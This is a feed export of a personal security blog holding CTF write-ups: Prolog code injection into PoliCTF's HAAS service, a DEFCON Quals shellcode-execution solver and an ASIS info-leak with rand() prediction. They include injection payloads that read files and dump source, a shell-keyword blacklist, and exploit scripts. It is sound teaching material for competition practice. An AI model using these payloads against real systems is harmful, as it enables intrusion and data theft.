tag:blogger.com,1999:blog-55283616271502283772024-02-06T20:48:05.776-08:00fritz's lairComputer enthusiast interested in software development and security analysis. www.fritzfs.infoFranjo Stipanovićhttp://www.blogger.com/profile/08954430449974456669noreply@blogger.comBlogger18125tag:blogger.com,1999:blog-5528361627150228377.post-37698705492130223962018-03-08T06:28:00.003-08:002018-03-08T06:46:52.394-08:00Finding Gynvael's hidden catsI'm sure you're watching Gynvael's youtube channel (https://www.youtube.com/channel/UCCkVMojdBWS-JtH7TliWkVg) and read his blog at http://gynvael.coldwind.pl.<br />
He left a note on his blog.<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimBY-_wJeyMMpDR6FTKZ-xufcJlPAK8giEyjr5nkWPNFoKV6_0jDBeDCnpkUlF7UrA0KrnybVDEm3DWapE79J7TmNGKG37hD9k-C0kbZzLCkR2AubLzuXqbkXfR04bNGAVUXiJ_9PnKXE/s1600/gyn-cats.png" imageanchor="1"><img border="0" data-original-height="175" data-original-width="226" height="248" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimBY-_wJeyMMpDR6FTKZ-xufcJlPAK8giEyjr5nkWPNFoKV6_0jDBeDCnpkUlF7UrA0KrnybVDEm3DWapE79J7TmNGKG37hD9k-C0kbZzLCkR2AubLzuXqbkXfR04bNGAVUXiJ_9PnKXE/s320/gyn-cats.png" width="320" /></a><br />
Here's my attempt to find his cats.<br />
<a href="https://gist.github.com/fritzfs/cb06d43b55bbbb5d2d2b3934d2ca2f34">https://gist.github.com/fritzfs/cb06d43b55bbbb5d2d2b3934d2ca2f34</a>Franjo Stipanovićhttp://www.blogger.com/profile/08954430449974456669noreply@blogger.com0tag:blogger.com,1999:blog-5528361627150228377.post-10031418944399629122015-07-12T15:07:00.001-07:002015-07-13T05:19:36.058-07:00Writeup: HAAS (hanoi as a service) @ PoliCTF 2015<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikcsfGy2qCoJ81IwW9vF9H_O-TReH9cWCvTcIDrXZ2pY1n18KtKrcFD6jFwPNrXRBFd6-8oUdAOsvWjsDW8E_SnSEq7myvgE4abCJR4Wnc2eWdwvSYC4TNrgaRHucGSK05nbixg9AABP4/s1600/haas.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="125" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikcsfGy2qCoJ81IwW9vF9H_O-TReH9cWCvTcIDrXZ2pY1n18KtKrcFD6jFwPNrXRBFd6-8oUdAOsvWjsDW8E_SnSEq7myvgE4abCJR4Wnc2eWdwvSYC4TNrgaRHucGSK05nbixg9AABP4/s320/haas.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Let's try it.
</div>
<pre class="prettyprint">
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1
* Move top disk from a to b
</pre>
<div>Now we try some non-expected characters.</div>
<pre class="prettyprint">
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
a
ERROR: Prolog initialisation failed:
ERROR:
</pre>
<div>
<pre class="prettyprint">
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
'
ERROR: Prolog initialisation failed:
ERROR: Syntax error: End of file in quoted string
ERROR: hanoi(')
ERROR: ** here **
ERROR:
</pre>
</div>
<div>It seems that we can do command injection here. </div>
<div>
<br /></div>
<div>
Time to take a quick learning course at <a href="http://www.swi-prolog.org/pldoc/man?section=builtin">http://www.swi-prolog.org/pldoc/man?section=builtin</a>. </div>
<div>
<br /></div>
<div>
Let's discover how can we inject something without error. After seeing couple of prolog examples and trial and error we got this.</div>
<div>
<pre class="prettyprint">
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),write('test'),nl%
* Move top disk from a to b
test
</pre>
</div>
<div>So, that's it. First part "1)" closes hanoi call and last part "%" comments the real rest of hanoi call. In between we can inject our statements. </div>
<div>
<br /></div>
<div>
Maybe we could execute shell?</div>
<div>
<pre class="prettyprint">
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),shell('sh'),nl%
Sorry, that's not implemented!
</pre>
<pre class="prettyprint">
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),system('sh'),nl%
Nice try...
</pre>
</div>
<div>Nah, seems it's blacklisted or something.</div>
<div>
<br /></div>
<div>So the idea is to read flag file and print it.</div>
<div>
<br /></div>
<div>Flag is usually in file called "flag".</div>
<div>
<pre class="prettyprint">
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),open('flag',read,str),read(str,m),write(m),nl%
* Move top disk from a to b
ERROR: Prolog initialisation failed:
ERROR: open/3: source_sink `flag' does not exist (No such file or directory)
</pre>
</div>
<div>
<pre class="prettyprint">
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),open('/home/haas/flag',read,str),read(str,m),write(m),nl%
* Move top disk from a to b
ERROR: Prolog initialisation failed:
ERROR: open/3: source_sink `/home/haas/flag' does not exist (No such file or directory)
</pre>
</div>
<div>
It seems we'll have to get listing first in order to find flag file. There's a "ls" statement which can be used for this.</div>
<div>
<pre class="prettyprint">
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),ls,nl%
* Move top disk from a to b
bin/ initrd.img mnt/ run/ usr/
boot/ lib/ netdumps/ sbin/ var/
dev/ lib64/ opt/ srv/ vmlinuz
etc/ lost+found/ proc/ sys/
home/ media/ root/ tmp/
</pre>
</div>
<div>
After that we should use working_directory to switch current directory and do another ls under home and so on ...</div>
<div>
<pre class="prettyprint">
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),working_directory(CWD,'/home'),ls,nl%
* Move top disk from a to b
ctf/ ubuntu/
</pre>
</div>
<div>
<pre class="prettyprint">
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),working_directory(CWD,'/home/ctf'),ls,nl%
* Move top disk from a to b
haas/
</pre>
</div>
<div>
<pre class="prettyprint">
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),working_directory(CWD,'/home/ctf/haas'),ls,nl%
* Move top disk from a to b
haas haas-proxy.py jhknsjdfhef_flag_here
</pre>
</div>
<div>
Ok, so that's the file name - jhknsjdfhef_flag_here.</div>
<div>
<pre class="prettyprint">
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),open('/home/ctf/haas/jhknsjdfhef_flag_here',read,Str),read(Str,m),close(Str),write(m),nl%
* Move top disk from a to b
ERROR: /home/ctf/haas/jhknsjdfhef_flag_here:1:
<span class="Apple-tab-span" style="white-space: pre;"> </span>Prolog initialisation failed:
<span class="Apple-tab-span" style="white-space: pre;"> </span>/home/ctf/haas/jhknsjdfhef_flag_here:1: Syntax error: Unexpected end of file
</div>
<div>
Damn it. Google says that we have to use at_end_of_stream(Str) somewhere, but I didn't manage to get it so I've switched to another method.</div>
<div>
<pre class="prettyprint">
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),use_module(library(readutil)),open('/home/ctf/haas/jhknsjdfhef_flag_here',read,Str),read_line_to_codes(Str,Line),write(Line),nl%
* Move top disk from a to b
[102,108,97,103,123,80,114,48,103,114,97,109,109,49,110,103,95,105,110,95,108,48,103,49,99,95,49,115,95,99,48,48,108,125]
</pre>
</div>
<div>
Let's convert those numbers into characters.</div>
<div>
<pre class="prettyprint">
C:\Users\fstipanovic>python
Python 2.7.8 (default, Jun 30 2014, 16:08:48) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> a = [102,108,97,103,123,80,114,48,103,114,97,109,109,49,110,103,95,105,110,95,108,48,103,49,99,95,49,115,95,99,48,48,108,125]
>>> b = ""
>>> for c in a:
... b += chr(c)
...
>>> print b
flag{Pr0gramm1ng_in_l0g1c_1s_c00l}
</pre>
</div>
<div>That's the flag.</div>
<div>
<br /></div>
<div>
I wanted to take a look at challenge source codes and this was a way to get them.</div>
<div>
<pre class="prettyprint">
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),listing,nl%
* Move top disk from a to b
dohanoi(0, _, _, _) :- !.
dohanoi(A, C, E, D) :- !,
<span class="Apple-tab-span" style="white-space: pre;"> </span>B is A+ -1,
<span class="Apple-tab-span" style="white-space: pre;"> </span>dohanoi(B, C, D, E),
<span class="Apple-tab-span" style="white-space: pre;"> </span>moveit(C, E),
<span class="Apple-tab-span" style="white-space: pre;"> </span>dohanoi(B, D, E, C).
hanoi(A) :-
<span class="Apple-tab-span" style="white-space: pre;"> </span>A<15 br=""><span class="Apple-tab-span" style="white-space: pre;"> </span>dohanoi(A, a, b, c).
hanoi(A) :-<br /><span class="Apple-tab-span" style="white-space: pre;"> </span>A>=15,
<span class="Apple-tab-span" style="white-space: pre;"> </span>write('Hey, this problem is too big for my poor mind...'),
<span class="Apple-tab-span" style="white-space: pre;"> </span>nl.
:- multifile prolog_clause_name/2.
:- dynamic prolog_exception_hook/4.
:- multifile prolog_exception_hook/4.
prolog_exception_hook(error(A, context(D, B)), error(A, context(prolog_stack(I), B)), G, C) :-
prolog_stack:
( ( C==none
<span class="Apple-tab-span" style="white-space: pre;"> </span>-> stack_guard(none)
<span class="Apple-tab-span" style="white-space: pre;"> </span>; prolog_frame_attribute(C, predicate_indicator, E),
<span class="Apple-tab-span" style="white-space: pre;"> </span> debug(backtrace,
<span class="Apple-tab-span" style="white-space: pre;"> </span> 'Got exception ~p (Ctx0=~p, Catcher=~p)',
<span class="Apple-tab-span" style="white-space: pre;"> </span> [A, D, E]),
<span class="Apple-tab-span" style="white-space: pre;"> </span> stack_guard(E)
<span class="Apple-tab-span" style="white-space: pre;"> </span>),
<span class="Apple-tab-span" style="white-space: pre;"> </span>( current_prolog_flag(backtrace_depth, F)
<span class="Apple-tab-span" style="white-space: pre;"> </span>-> F>0
<span class="Apple-tab-span" style="white-space: pre;"> </span>; F=20
<span class="Apple-tab-span" style="white-space: pre;"> </span>),
<span class="Apple-tab-span" style="white-space: pre;"> </span>get_prolog_backtrace(G, F, H),
<span class="Apple-tab-span" style="white-space: pre;"> </span>debug(backtrace, 'Stack = ~p', [H]),
<span class="Apple-tab-span" style="white-space: pre;"> </span>clean_stack(H, I)
).
:- dynamic resource/3.
:- multifile resource/3.
first(A, [A|_]).
:- multifile prolog_list_goal/1.
:- thread_local thread_message_hook/3.
:- dynamic thread_message_hook/3.
:- volatile thread_message_hook/3.
:- multifile prolog_predicate_name/2.
moveit(A, B) :-
<span class="Apple-tab-span" style="white-space: pre;"> </span>print('* Move top disk from '),
<span class="Apple-tab-span" style="white-space: pre;"> </span>print(A),
<span class="Apple-tab-span" style="white-space: pre;"> </span>print(' to '),
<span class="Apple-tab-span" style="white-space: pre;"> </span>print(B),
<span class="Apple-tab-span" style="white-space: pre;"> </span>nl.
main :-
<span class="Apple-tab-span" style="white-space: pre;"> </span>A=[104, 97, 110, 111, 105, 40],
<span class="Apple-tab-span" style="white-space: pre;"> </span>D=[41],
<span class="Apple-tab-span" style="white-space: pre;"> </span>write('Welcome to the Hanoi-as-a-Service cloud platform!'),
<span class="Apple-tab-span" style="white-space: pre;"> </span>nl,
<span class="Apple-tab-span" style="white-space: pre;"> </span>write('How many disks does your tower have?'),
<span class="Apple-tab-span" style="white-space: pre;"> </span>nl,
<span class="Apple-tab-span" style="white-space: pre;"> </span>read_line_to_codes(user_input, B),
<span class="Apple-tab-span" style="white-space: pre;"> </span>append(A, B, C),
<span class="Apple-tab-span" style="white-space: pre;"> </span>append(C, D, E),
<span class="Apple-tab-span" style="white-space: pre;"> </span>string_to_atom(E, F),
<span class="Apple-tab-span" style="white-space: pre;"> </span>read_term_from_atom(F, G, []),
<span class="Apple-tab-span" style="white-space: pre;"> </span>call(G),
<span class="Apple-tab-span" style="white-space: pre;"> </span>halt(0).
:- multifile message_property/2.<!--15--><!--15--><!--15--><!--15--></15>
</pre>
</div>
<div>
<pre class="prettyprint">
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),use_module(library(readutil)),open('/home/ctf/haas/haas-proxy.py',read,Str),read_stream_to_codes(Str,Line),write(Line),nl%
* Move top disk from a to b
[35,33,47,117,115,114,47,98,105,110,47,101,110,118,...]
</pre>
</div>
<div>
<pre class="prettyprint">
fritz@fritz-virtual-machine:~/ctf/polictf$ python
Python 2.7.8 (default, Oct 20 2014, 15:05:19)
[GCC 4.9.1] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> a = ...
>>> b = ""
>>> for c in a:
... b += chr(c)
...
>>> print b
#!/usr/bin/env python
import subprocess
import sys
import os
import threading
import random
def stdinreader():
while True:
try:
l = sys.stdin.readline()
except KeyboardInterrupt:
break
if not l:
break
yield l
class Proxy:
def __init__(self, blacklist, phrases, args):
self.blacklist = blacklist
self.phrases = phrases
try:
self.chld = subprocess.Popen(args, stdin=subprocess.PIPE)
except OSError:
print "Error starting the haas process."
sys.exit(1)
def is_allowed(self, l):
return reduce(lambda x,y: x and y, [x not in l for x in self.blacklist], True)
def listen(self):
for line in stdinreader():
if self.chld.poll() is None:
if self.is_allowed(line):
self.chld.communicate(line)
else:
print random.choice(self.phrases)
break
else:
return
self.chld.terminate()
def run(self):
t = threading.Thread(target=self.listen)
t.daemon = True
t.start()
self.chld.wait()
if __name__ == '__main__':
bl = ['shell','unix','system','cd','argv']
phrases = ['Nice try...', 'Nope.', 'What are you trying to do?!?', "Sorry, that's not implemented!"]
ex = os.path.join(os.path.dirname(os.path.realpath(__file__)), "haas")
if len(sys.argv) == 2:
ex = sys.argv[1]
proxy = Proxy(bl, phrases, [ex])
proxy.run()
</pre>
</div>
<div>
So we were right. Shell, unix and system were blacklisted.</div>Franjo Stipanovićhttp://www.blogger.com/profile/08954430449974456669noreply@blogger.com0tag:blogger.com,1999:blog-5528361627150228377.post-26145588948756390882015-05-18T01:29:00.001-07:002015-05-18T06:53:14.392-07:00Writeup: Coding 1 @ DEFCON CTF Quals 2015<div class="separator" style="clear: both; text-align: left;">
This was the task. Connect to remote host, receive initial register state and instructions in binary. </div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinvUyvCF6RAlZ38lK4dnvXry_kj5WqtvJti55UW0UhOzb9RW-7H9mu8O8SORa1g5BmNOW9XV9QU8WKpQ4vtgmBPAsBxPCMNc73YJMb-wc-iapdxrqA4Gm694Oop6dJ4I7x5vJ-2l5Ego0/s1600/defcon-coding-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="268" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinvUyvCF6RAlZ38lK4dnvXry_kj5WqtvJti55UW0UhOzb9RW-7H9mu8O8SORa1g5BmNOW9XV9QU8WKpQ4vtgmBPAsBxPCMNc73YJMb-wc-iapdxrqA4Gm694Oop6dJ4I7x5vJ-2l5Ego0/s640/defcon-coding-1.png" width="640" /></a></div>
<br />
Not pretty, but I solved this using python, c and gdb.<br />
<br />
coding1sc.c code, compile: gcc -fno-stack-protector -z execstack coding1sc.c -o coding1sc<br />
<blockquote class="tr_bq">
#include <stdlib .h=""><br />int main(int argc, char **argv)<br />{<br /> int fp;<br /> char buffer[512];<br /> fp = fopen(argv[1], "rb");<br /> fread(buffer, sizeof(buffer), 1, fp);<br /> fclose(fp);<br /> int (*func)();<br /> func = (int (*)()) buffer;<br /> (int)(*func)();<br /> return 0;<br />}</stdlib></blockquote>
<div>
coding1.gdb script</div>
<div>
<blockquote class="tr_bq">
break *0x400649<br />
commands<br />
print $rax<br />
print $rbx<br />
print $rcx<br />
print $rdx<br />
print $rsi<br />
print $rdi<br />
print $r8<br />
print $r9<br />
print $r10<br />
print $r11<br />
print $r12<br />
print $r13<br />
print $r14<br />
print $r15<br />
c<br />
end </blockquote>
<blockquote class="tr_bq">
r coding1.bin</blockquote>
</div>
<div>
coding1.py</div>
<div>
<blockquote>
import commands<br />
import socket<br />
import re<br />
import os </blockquote>
<blockquote>
def rv(reg, line):<br />
return re.search('%s=0x([0-9a-f]+)' % reg, line).group(1).zfill(16) </blockquote>
<blockquote>
def rv2(reg, line):<br />
return re.search('\$%s = (0x[0-9a-f]+)' % reg, line).group(1) </blockquote>
<blockquote>
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br />
s.connect(('catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me', 9999)) </blockquote>
<blockquote>
data = s.recv(1024)<br />
rax = rv('rax', data)<br />
rbx = rv('rbx', data)<br />
rcx = rv('rcx', data)<br />
rdx = rv('rdx', data)<br />
rsi = rv('rsi', data)<br />
rdi = rv('rdi', data)<br />
r8 = rv('r8', data)<br />
r9 = rv('r9', data)<br />
r10 = rv('r10', data)<br />
r11 = rv('r11', data)<br />
r12 = rv('r12', data)<br />
r13 = rv('r13', data)<br />
r14 = rv('r14', data)<br />
r15 = rv('r15', data) </blockquote>
<blockquote>
inst = '\x48\xb8' + rax.decode('hex')[::-1]<br />
inst += '\x48\xbb' + rbx.decode('hex')[::-1]<br />
inst += '\x48\xb9' + rcx.decode('hex')[::-1]<br />
inst += '\x48\xba' + rdx.decode('hex')[::-1]<br />
inst += '\x48\xbe' + rsi.decode('hex')[::-1]<br />
inst += '\x48\xbf' + rdi.decode('hex')[::-1]<br />
inst += '\x49\xb8' + r8.decode('hex')[::-1]<br />
inst += '\x49\xb9' + r9.decode('hex')[::-1]<br />
inst += '\x49\xba' + r10.decode('hex')[::-1]<br />
inst += '\x49\xbb' + r11.decode('hex')[::-1]<br />
inst += '\x49\xbc' + r12.decode('hex')[::-1]<br />
inst += '\x49\xbd' + r13.decode('hex')[::-1]<br />
inst += '\x49\xbe' + r14.decode('hex')[::-1]<br />
inst += '\x49\xbf' + r15.decode('hex')[::-1] </blockquote>
<blockquote>
data = s.recv(1024)<br />
bytes = int(re.search('About to send (\d+) bytes', data).group(1))<br />
inst += data[-bytes:]<br />
f = open('coding1.bin', 'wb')<br />
f.write(inst)<br />
f.close() </blockquote>
<blockquote>
o = commands.getoutput('gdb ./coding1sc < coding1.gdb') </blockquote>
<blockquote>
final = 'rax=%s\r\n' % rv2('1', o)<br />
final += 'rbx=%s\r\n' % rv2('2', o)<br />
final += 'rcx=%s\r\n' % rv2('3', o)<br />
final += 'rdx=%s\r\n' % rv2('4', o)<br />
final += 'rsi=%s\r\n' % rv2('5', o)<br />
final += 'rdi=%s\r\n' % rv2('6', o)<br />
final += 'r8=%s\r\n' % rv2('7', o)<br />
final += 'r9=%s\r\n' % rv2('8', o)<br />
final += 'r10=%s\r\n' % rv2('9', o)<br />
final += 'r11=%s\r\n' % rv2('10', o)<br />
final += 'r12=%s\r\n' % rv2('11', o)<br />
final += 'r13=%s\r\n' % rv2('12', o)<br />
final += 'r14=%s\r\n' % rv2('13', o)<br />
final += 'r15=%s\r\n' % rv2('14', o) </blockquote>
<blockquote>
print 'Sending', final<br />
s.sendall(final) </blockquote>
<blockquote>
print s.recv(1024) </blockquote>
<blockquote>
s.close()</blockquote>
Let's use all this.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHgWMX7Bt_yeXyeu10_rGtah9oC_Dlps_mvN7iMbelHlMJva5ulyYUlsvCr5_5BsTnLksEv7VW_bXGEcNxPJywrvVvVRqbxmQHxwlMfr_NZqkhO6V8djNHIuoJo9a7m1c4pMfE9vVw7cc/s1600/defcon-coding-1-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHgWMX7Bt_yeXyeu10_rGtah9oC_Dlps_mvN7iMbelHlMJva5ulyYUlsvCr5_5BsTnLksEv7VW_bXGEcNxPJywrvVvVRqbxmQHxwlMfr_NZqkhO6V8djNHIuoJo9a7m1c4pMfE9vVw7cc/s1600/defcon-coding-1-1.png" /></a></div>
<div>
<br /></div>
Franjo Stipanovićhttp://www.blogger.com/profile/08954430449974456669noreply@blogger.com1tag:blogger.com,1999:blog-5528361627150228377.post-43752664183517994472015-05-11T01:46:00.000-07:002015-05-11T01:46:57.976-07:00Writeup: Saw this -1 @ ASIS CTF Quals 2015<div class="separator" style="clear: both; text-align: left;">
Category: pwn</div>
<div class="separator" style="clear: both; text-align: left;">
Points: 100</div>
<div class="separator" style="clear: both; text-align: left;">
Description:</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZRmMyB6iArpeYLBO29k6Z04gEgk7TJ3q8mTztQW-m3HUZmavLAWzSPprg8RGcW5ZzSozoU1C1qLXNuGIWU4NbUcWZL-vYryiVITLXvWq9fSa8I1qOu6jDM7XsABQVrlU-Kf_pB0oxcvg/s1600/saw_this_1_desc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="285" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZRmMyB6iArpeYLBO29k6Z04gEgk7TJ3q8mTztQW-m3HUZmavLAWzSPprg8RGcW5ZzSozoU1C1qLXNuGIWU4NbUcWZL-vYryiVITLXvWq9fSa8I1qOu6jDM7XsABQVrlU-Kf_pB0oxcvg/s400/saw_this_1_desc.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
After loading binary in disassembler we easily identify the application flow.</div>
<blockquote class="tr_bq" style="clear: both; text-align: left;">
random A = rand()<br />name = ask_user("How can I call you?")<br />print("Welcome $name")<br />lucky_number = ask_user("Choose your lucky number ...")<br />srand(lucky_number + random A)<br />how_many_numbers = generate_random()<br />for i in 1 to how_many_numbers:<br /> number[i] = generate_random()<br />for i in 1 to how_many_numbers:<br /> guess = ask_user("Number $i")<br /> if guess != number[i]:<br /> quit</blockquote>
<div class="separator" style="clear: both; text-align: left;">
We can almost predict random numbers. Part of seed is our lucky number and another part is random number A. Second part is unknown, how can we get it? </div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Let's take a look at memory layout. </div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_D7hruKmIAUL49MusT2Uc8TEvMFJ7vxyZ3D1QW2hqbnWlE1sq7yCr16fddwwIYatezD6xjmBiqmbLwJWsdkHNgDVjz_O4HbC7Ut23qlZXFZCJKCe8CGx9fWEM9jhOiYETBgc9y-0lxpY/s1600/saw_this_1_memory.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="120" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_D7hruKmIAUL49MusT2Uc8TEvMFJ7vxyZ3D1QW2hqbnWlE1sq7yCr16fddwwIYatezD6xjmBiqmbLwJWsdkHNgDVjz_O4HbC7Ut23qlZXFZCJKCe8CGx9fWEM9jhOiYETBgc9y-0lxpY/s400/saw_this_1_memory.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
RandomA is placed right after username buffer and that's good because of printf. Plan is to fulfill username buffer so that printf prints random A also.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgziHc55gPG1tagr5ZmTPvvh1r_krQGkJHLsyY1BfhzLrPERetj_dxDLQ3TkpdENvRy1ELtict0274BwIhHH0OEXZX_caewnpLV_zTHWdpbdxkIJrFqvnaxwFsoQ4HuDrqZyitfFvK6MzQ/s1600/saw_this_1_input.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="106" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgziHc55gPG1tagr5ZmTPvvh1r_krQGkJHLsyY1BfhzLrPERetj_dxDLQ3TkpdENvRy1ELtict0274BwIhHH0OEXZX_caewnpLV_zTHWdpbdxkIJrFqvnaxwFsoQ4HuDrqZyitfFvK6MzQ/s400/saw_this_1_input.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Good, so we have leakage here. </div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Now we have to re-implement same algorithm in C using srand/rand or we can use existing binary. I chose the latter. </div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Idea is this:</div>
<blockquote class="tr_bq" style="clear: both; text-align: left;">
connect to remote binary (ip 87.107.123.3, port 31337)<br />send A * 64 characters as username<br />read random A (4 bytes after username)<br />send 5 (or whatever) as lucky number<br />run local binary with breakpoints and commands to emulate same numbers<br />read predicted numbers<br />type numbers in remote binary and enjoy the flag</blockquote>
<div>
Take a look at function on 0x400D73. With couple of breakpoints and EIP/RIP redirection we can use that function to emulate environment and read random numbers. It's fairly simple so just gdb script is listed below.</div>
<div>
<blockquote class="tr_bq">
break *0x400D89<br />commands<br />set $rip = 0x400E46<br />c<br />end</blockquote>
<blockquote class="tr_bq">
break *0x400E46<br />commands<br />set $edx = 0x11223344<br />set $eax = 5<br />c<br />end</blockquote>
<blockquote class="tr_bq">
break *0x400E8B<br />commands<br />set $count = $eax<br />set $i = 0<br />set $rip = 0x400EAE<br />c<br />end</blockquote>
<blockquote class="tr_bq">
break *0x400ECD<br />commands<br />print/u $dl<br />set $i = $i + 1<br />if $i == $count<br /> quit<br />end<br />set $rip = 0x400EAE<br />c<br />end</blockquote>
<blockquote class="tr_bq">
r</blockquote>
</div>
<div>
We also need client which will connect to remote binary, read random A and tell us with which argument do we have to run local binary.</div>
<div>
<blockquote class="tr_bq">
import socket<br />import sys<br />import struct<br />import telnetlib<br />s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br />s.connect(('87.107.123.3', 31337))<br />while True:<br /> d = s.recv(1024)<br /> print d<br /> if 'How can I call you?' in d:<br /> break<br />s.sendall('A' * 64)<br />d = s.recv(1024)<br />leak = d[73:77]<br />leak = leak[::-1]<br />leak = leak.encode('hex')<br />print 'change 0x11223344 to 0x%s in script file' % (leak)<br />s.sendall('5\n')<br />print s.recv(1024)<br />t = telnetlib.Telnet()<br />t.sock = s<br />t.interact()</blockquote>
</div>
<div>
Let's use all this and get the flag.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOlHhFBKkqrfEuCIbNBxTba4FirMZMdh6ZQ_fztjgzHHsYBeO5SB3fv5daSKD6ReQMJUoIDdEExG9vrmrfR5zpnarHj9yMEXXjPXSfTmQGIsOoB-M8XYvIiBIu9Rx4HZjzDkQo1On1vwI/s1600/saw_this_1_flag.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="258" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOlHhFBKkqrfEuCIbNBxTba4FirMZMdh6ZQ_fztjgzHHsYBeO5SB3fv5daSKD6ReQMJUoIDdEExG9vrmrfR5zpnarHj9yMEXXjPXSfTmQGIsOoB-M8XYvIiBIu9Rx4HZjzDkQo1On1vwI/s400/saw_this_1_flag.png" width="400" /></a></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
